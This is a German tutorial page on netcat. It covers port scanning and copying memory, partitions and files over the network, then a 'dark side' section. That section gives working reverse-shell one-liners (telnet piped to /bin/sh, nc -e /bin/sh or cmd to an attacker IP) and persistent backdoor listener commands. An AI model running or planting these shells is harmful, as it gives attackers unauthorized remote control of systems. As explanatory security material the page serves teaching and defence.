Navigation

 News
 Blog
 Dokumente
    - Upload
     Linux
    - Windows
    - IT-Security
    - Kryptologie
    - Programmierung
    - Netzwerktechnik
    - Allgemeines
 Projekte
 Hacks
 Download
 Forum
 Partner
 Banner
 Links
 Changelog
 Impressum


Willkommen 18.97.14.80

Neuesten 3 Dokus:


Partner:

www.wissenundpraxis.com
www.saveyour.homelinux.org
www.sco-world.de
www.hakin9.org/de

schon Partner...?



zurück

nc (netcat)

Teil 4 - Praxis[Fortführung]


Die gute Seite:

Port Scanning

Netcat bietet auch die Möglichkeit einfache Portscanns durchzuführen. Allerdings sollte man für fortgeschrittene Techniken nmap verwenden.
Dabei spielen folgende Schalter von Netcat ein Rolle:

z  - Parameter fürs Portscannen
i  - legt den Intervall zwischen den Verbindungsversuchen fest
w  - Timeout bis zum Verbindungsabbruch
u  - UDP anstelle von TCP
vv - Dadurch werden nun auch geschlossene Ports angezeigt.

Nun ein exemplarisches Beispiel:

$ nc -zv duddits 7-445
duddits [192.168.5.29] 445 (microsoft-ds) open
duddits [192.168.5.29] 443 (https) open
...
$ nc -zvv -i 1 -w 2 duddits 7-80 435-445
duddits [192.168.5.29] 80 (http) open
duddits [192.168.5.29] 79 (finger): conncetion refused
...
duddits [192.168.5.29] 445 (microsoft-ds) open
duddits [192.168.5.29] 444 (?): conncetion refused
duddits [192.168.5.29] 443 (https) open
...

Nun sollten einem die Möglichkeiten für einen Portscann mit Netcat ersichtlich sein.



Devices übers Netzwerk versenden
Mit Netcat und dd kann man einfach Devices übers Netzwerk versenden. So könnte man mit folgender Befehlskette den Arbeitsspeicher eines Linux Rechners sichern:

# dd if=/dev/mem | nc <ip-des-Empfängers> 10003
Empfänger:
# nc -l -v -p 10003>arbeitsspeicher

Das Sichern einer Partition würde wie folgt ablaufen:

Empfänger
# nc -l -p 10003 > host_hda1
# nc -l -p 10003 | gzip > host_hda1.gz # Bei Platzmangel
Sender:
# dd if=/dev/hda1 | nc -n -w 10 <ip-des-Empfängers> 10003


Wenn auf der Senderseite die CPU stark genug ist und die Bandbreite gering ist, wäre es besser, schon auf der Senderseite zu komprimieren. Somit können besonders große Datenmengen effektiver und vorallem etwas schneller übers Netzwerk überragen werden:

Empfänger
# nc -l -p 10003 > host_hda1
Sender:
# dd if=/dev/hda1 | gzip > host_hda1.gz | nc -n -w 10 <ip-des-Empfängers> 10003

Vielen dank hier an Thomas Bliesener, der mir diesen Tipp gab.



Daten übers Netzwerk senden
Netcat eignet sich ideal dafür Daten übers Netzwerk zu verschicken. Es spielt dabei kein Rolle ob diese roh oder gepackt versendet werden sollen. Fangen wir mit einem einfachen Beispiel an. Das hier ist der Rechner, der die Datei empfangen soll:

$ nc -l -v -n -p 10003>datei

Der Sender der Datei verschickt diese wie folgt:

$ nc -v -n <Ziel-IP> 10003<datei

Um das ganze jetzt nun komprimiert zu verschicken, sieht das ganze wie folgt aus:

$ tar -cv <Verzeicnis> | nc -l -v -p 10003 -q 1
Der Sender der Datei:
$ nc -v -n <Ziel-IP> 10003 | tar xz

Der Sender des Archivs sollte im Verzeichnis sein, welches er versenden möchte oder den Pfad mitgeben.




Die dunkle Seite:

Stabilität von Diensten testen
Um Dienste, welche übers Netzwerk verfügbar sind auf ihre Stabilität zu testen, eignet sich Netcat sehr gut. So kann das senden von zufällig generierten Werten an einigen Diensten interessante Effekte hervorrufen:

$ cat < /dev/urandom | nc <ip-des-systems> <port>

Eine weitere Möglichkeit wäre es, sofern das System Kommandos von außen zulässt, diese einzeln auf ihre Stabilität zu testen. Dabei kann man die Syntax und die möglichen Befehle am besten dem Quelltext entnehmen. Also:

$ cat < /dev/urandom | nc <ip-des-systems> <port> <Befehl>


Back Channel Angriff:

Um sich unautorisierten Zugriff auf ein System zu beschaffen, verwenden einige Angreifer den Back-Channel Mechanismus. Das bedeutet hier, dass die Kommunikationsverbindung vom Zielsystem/Opfersystem und nicht vom System des Angreifers eingeleitet wird.
So ist es z.B. möglich, per geöffneten Port des Zielsystems eine Kommunikation aufzubauen. Da die Firewall aller Wahrscheinlichkeit nach keine ausgehende Verbindung des Opfers blockt, baut sich der Angreifer eine Rückleitung ein, um eine Sitzung vom Opfer-Server aus am eigenen System aufzubauen.

Reverse Telnet Session

Möchte ein Angreifer, durch eine gefundene Lücke im System seines Opfers eine Remoteshell aufbauen, so kann dieser auch wenn beim Opfer kein Netcat installiert ist, mit folgendem Kommando eine Remoteshell aufbauen:

/usr/bin/telnet  <ip-angreifer> 80 | /bin/sh | /usr/bin/telnet  <ip-angreifer> 25

Zuvor muss der Angreifer bei sich am System, auf den Ports die er telnet mitgegeben hat, Netcat auf eingehende Verbindungen warten lassen:

Konsole 1: nc -l -n -v -p 80
Konsole 2: nc -l -n -v -p 25

Allerdings muss auf dem Opfer-System Linux bzw. Unix laufen. Um für Windows solch eine Shell zu bekommen, müsste man /bin/sh durch cmd ersetzen. Aber dann ist auch der Pfad zu telnet zu ändern. Es kann aber auch unter Linux/Unix sein, dass der Pfad ein anderer ist.
Nun kann man mit Konsole 1 Befehle am System des Opfers absetzen und mit der 2. Konsole dessen Resultate sehen.
Der erste Teil also /usr/bin/telnet <ip-angreifer 80> baut eine Verbindung zur 1. Konsole auf, also dem Netcat auf Port 80. Dort werden die Befehle später abgesetzt. Nun werden die Standardeingaben (Tastatureingaben) auf /bin/sh umgeleitet. Das Ergebnis davon wird dann mit /usr/bin/telnet <ip-angreifer 25> angezeigt.



#define GAPING_SECURITY_HOLE

Sofern Netcat mit der Option #define GAPING_SECURITY_HOLE kompiliert wurde, ist es möglich mit dem Schalter -e ein externes Programm lauschen zu lassen. Somit hat der Angreifer auch die Möglichkeit mit dieser Technik einen Back-Channel einzurichten. Vorrausetzung ist aber auch, dass Netcat auf dem Ziel/Opfersystem läuft und entsprechend kompiliert wurde.
Der Angreifer muss um die Verbindung des Opfersystems aufzunehmen auch wieder nc bei sich laufen lassen:

nc -l -n -v -p 80

Nach dem der Angreifer bei sich den Listener aktiviert hat, muss der Angreifer irgendwie folgendes Kommando am System deines Opfers absetzen:

Unter Linux:
		nc -e /bin/sh <ip-angreifer> 80
Unter Windows:
		nc -e C:/WINDOWS/system32/cmd <ip-angreifer> 80

Wird der Befehl beim Zielsystem ausgeführt wird eine Rückverbindung zum Angreifer aufgebaut.



Backdoor

Falls das System von jemanden mal kompromittiert wurde, könnte ein Angreifer sich ein/e Backdoor(Hintertür) so hinterlassen:

Linux:
		nohup nc -l -p 10003 -n -e /bin/sh &
Windows:
		nc -l -p 10003 -n -d -e cmd

Mit diesem könnte der Angreifer sich dann jederzeit wie folgt verbinden:

		nc -nvv <ip-opfer> 10003


Teil 5 - Infos/Links [Übersicht]

Schlusswort:
Nachdem man sich die Fähigkeiten von Netcat zu Gemüte geführt hat, wird einem schnell klar wie viel Potential in diesem kleinem Tool steckt. Daher sollte jeder IT-Sicherheits-Verantwortliche um die Möglichkeiten von Netcat bescheid wissen. Aber auch einem Systemadministrator werden viele interessante Möglichkeiten geliefert.
Das Sichern ganzer Datenbestände, Partitionen oder gar ganzer Festplatten übers Netzwerk wird somit ein Kinderspiel und mit cryptcat sind auch sichere Verbindungen möglich ( Achtung! Eine Hundertprozentige Sicherheit gibt es nie!).
Netcat ist wie schon oben erwähnt wie ein Schweizer Taschenmesser. So ist es mit dem besagten Messer möglich, praktische Dinge mit einem Werkzeug zu realisieren. Dient es mal dem Schneiden von Lebensmitteln, mal dem Sägen eines Astes oder dem Feuer machen mit der Lupe usw. .
Aber man kann sich mit Hilfe des Taschenmessers Waffen basteln, auch wenn diese nicht dem technischen Standard entsprechen. Auch könnte jemand mit dem Messer einen anderen verletzen.
Genauso verhält es sich mit Netcat. So dient es einmal dem Sichern von Daten, dann zum unerlaubten Zugang zu einem fremden System, ein anderes Mal dem Debuggen des Netzwerkes.

Readmes:
Manpage zu dem Linux/Unix Netcat
Readme-Datei zum dem Linux/Unix Netcat von Hobbit. Dieser hat auch das Readme geschrieben, in dem alle Funktionen detailliert erklärt werden.


Praktische Beispiele:
Einige sehr gute Anwendungsbeispiele für Netcat sind unter der Homepage von squeez zu finden, in der er unter anderem zeigt, wie man mit Netcat und der Linuxshell sich eine Webseite ansieht.
Weitere gute, praktische Beispiele sind auf der Seite von Johannes Franken zu finden.

Quellenverzeichnis:
m.nu
de.wikibooks.org
vulnwatch.org
Das Anti-Hacker Buch(ISBN: 3-8266-8167-3)
Linux Manpage zu Netcat
Windows Hilfeausgabe von Netcat.
Readme-Datei von Hobbit <hobbit@avian.org>

Was sonst noch interessant ist:
socat
Socat erweitert Netcat um viele Socket-Typen. So unterstützt es eine Verschlüsselung mit SSL oder das Verwenden von SOCKS-Proxies.

Ich hoffe das Dokument hat euch gefallen.
Für Fragen stehe ich natürlich jederzeit zur Verfügung. Einfach eine Email an duddits_at_remoteshell-security.com


Teil 6 - PDF Download

Falls Ihnen dieses Dokument gefällt, können Sie es sich auch bequem als PDF downloaden:
Netcat the TCP/IP swiss army knife


Bei weiteren Fragen, Kritik oder Anregungen zum Artikel stehe ich natürlich jederzeit zur Verfügung.
Einfach eine E-Mail an duddits-[at]-remoteshell-security.com. Ich versuche diese dann so schnell als möglich zu beantworten.

Nach oben


Copyright © 2006-2024 Daniel Baier: Alle Rechte vorbehalten